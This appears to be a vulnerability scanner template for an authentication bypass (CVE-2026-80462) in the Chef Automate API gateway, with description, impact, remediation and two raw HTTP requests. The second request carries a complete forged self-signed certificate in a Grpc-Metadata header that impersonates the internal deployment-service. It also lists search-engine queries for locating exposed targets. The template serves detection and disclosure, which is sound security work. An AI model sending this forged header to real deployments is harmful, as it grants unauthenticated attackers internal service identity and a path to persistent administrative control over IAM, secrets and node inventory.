Chef Automate API Gateway - Authentication Bypass

id: CVE-2026-80462

info:
  name: Chef Automate API Gateway - Authentication Bypass
  author: wong-hau-pepelu
  severity: critical
  description: |
    Chef Automate derives an internal service identity from an X.509 certificate supplied in a request header without verifying its issuer. The load balancer blanks X-Client-Cert but does not strip the Grpc-Metadata- prefixed variants, which grpc-gateway rewrites into the metadata key the gateway's auth middleware reads. A remote unauthenticated attacker can present a self-signed certificate naming an internal service such as deployment-service and be authenticated as that service.
  impact: |
    Unauthenticated callers obtain an internal service identity on the API gateway, reaching privileged IAM, secrets, node inventory and ingest operations with no credential. On a confirmed deployment the forged identity was authorized on 136 API paths, including POST to /apis/iam/v2/policies, /apis/iam/v2/tokens and /apis/iam/v2/users, so it converts directly into persistent administrative access.
  remediation: |
    Upgrade to Chef Automate 4.13.520 or later, which adds x509 chain verification to the header certificate path and strips the Grpc-Metadata prefixed headers at the load balancer. As an independent mitigation, blank Grpc-Metadata-Grpcgateway-X-Client-Cert, Grpc-Metadata-X-Client-Cert and X-Client-Cert at any proxy in front of Automate, repeating the directives in every location block that proxies to the gateway.
  reference:
    - https://community.progress.com/s/article/Critical-Security-Bulletin---August-2026---Chef-Automate-Security-Vulnerability
    - https://nvd.nist.gov/vuln/detail/CVE-2026-80462
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2026-80462
    cwe-id: CWE-306
  metadata:
    verified: true
    max-request: 2
    vendor: progress
    product: chef_automate
    shodan-query: http.title:"Chef Automate"
    fofa-query: title="Chef Automate"
  tags: cve,cve2026,chef,automate,progress,auth-bypass

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /api/v0/telemetry/config HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        internal: true
        dsl:
          - 'contains_any(body, "\"code\":16", "request not authenticated")'
          - 'contains(content_type, "application/json")'
          - 'status_code == 401'
        condition: and

  - raw:
      - |
        GET /api/v0/telemetry/config HTTP/1.1
        Host: {{Hostname}}
        Grpc-Metadata-Grpcgateway-X-Client-Cert: -----BEGIN%20CERTIFICATE-----%0AMIID3TCCAsWgAwIBAgIUP7cdJfyOhse%2F6g2S65A66xYOmIwwDQYJKoZIhvcNAQEL%0ABQAwYzELMAkGA1UEBhMCVVMxGjAYBgNVBAoMEUNoZWYgQXV0b21hdGUgTGFiMRsw%0AGQYDVQQLDBJkZXBsb3ltZW50LXNlcnZpY2UxGzAZBgNVBAMMEmRlcGxveW1lbnQt%0Ac2VydmljZTAeFw0yNjA5MTQwMTMwMjlaFw0yNzA5MTQwMTMwMjlaMGMxCzAJBgNV%0ABAYTAlVTMRowGAYDVQQKDBFDaGVmIEF1dG9tYXRlIExhYjEbMBkGA1UECwwSZGVw%0AbG95bWVudC1zZXJ2aWNlMRswGQYDVQQDDBJkZXBsb3ltZW50LXNlcnZpY2UwggEi%0AMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDkGAJ3FnkT2RUMMiimzvzwerbR%0AWRg2vBFho4heBKbS8G8v3Ms7TqTNYos6g7D2XVDfwvNTYCEiDuvOf20vuYCKOVos%0AsxIhOrbUGPFn9BcTp5YXPtycHjrWs0Tfz0R7OV8Kw3G2wMWYkN0ORi%2FQGmyt3tI3%0AqHxlN5rYolgoiJ2sT60kKRrCqVI9X3njxVsfuHZ0D7kUZxiDcG%2FeYfoyzp6KSiG6%0A993De0RxhIIxudqfSIZdohZ3dwahtz%2F8N1xdc6nSqlrSPcECdc19UXU9%2BffLjrTV%0AgAbX37PY0ZP%2BiScZnPceKIIBA0cXUuG60itKiSAxMi9QtQcWEiExfKGizwYvAgMB%0AAAGjgYgwgYUwHQYDVR0OBBYEFGFn5vfGDMacdEfCOHmgsn2p3kXTMB8GA1UdIwQY%0AMBaAFGFn5vfGDMacdEfCOHmgsn2p3kXTMA8GA1UdEwEB%2FwQFMAMBAf8wHQYDVR0R%0ABBYwFIISZGVwbG95bWVudC1zZXJ2aWNlMBMGA1UdJQQMMAoGCCsGAQUFBwMCMA0G%0ACSqGSIb3DQEBCwUAA4IBAQBqBAhRPArIdf6yrcqhmdcnKHEUi7G4PJ7MEANno3DI%0AbqfwqPBoK1zoL4%2FPJ%2BWHg9ddi5wGg22lg38VlPjdtRV4ypW5p2kMV%2BfahTxSFEU%2B%0AopTP9F3nmmoAv7W3C%2BGd63%2FkotrZ%2FXyBp%2Box%2FYOFL%2BTaS8sCz6E9L1FeihlYW0ld%0Ak%2Fe1ogGDoPtieYCbs7dOlzf%2BapT2%2FeLQFzq%2BDNPBvVnP8Z0Uy5PSIiu5XGbuDIEA%0AGzTbeCpoqgHYqxCleE9A2mjWmJauPkhqDRItX3gBIHYSjKr1Kqwc2IBNtIEdrFX9%0AzHMusQh1VPgd7KrQyQ2ZpuUUD%2BV67xLH9GBsRnl6xQ7y%0A-----END%20CERTIFICATE-----%0A

    matchers:
      - type: dsl
        dsl:
          - '(status_code == 200 && !contains(body, "\"code\":")) || (status_code == 403 && contains(body, "\"code\":7"))'
          - 'contains(content_type, "application/json")'
        condition: and

    extractors:
      - type: json
        part: body
        json:
          - '.license_type'
# digest: 4a0a0047304502205e47c31c09312461776f9f22a5ddf8c014c34e69c1b5e58062a2f6d256e46749022100b5ff355bca6b416dd7585f8cc469d099bc679ad4f22edbdd279c0d52aacd4fa6:922c64590222798bb761d5b6d8e72950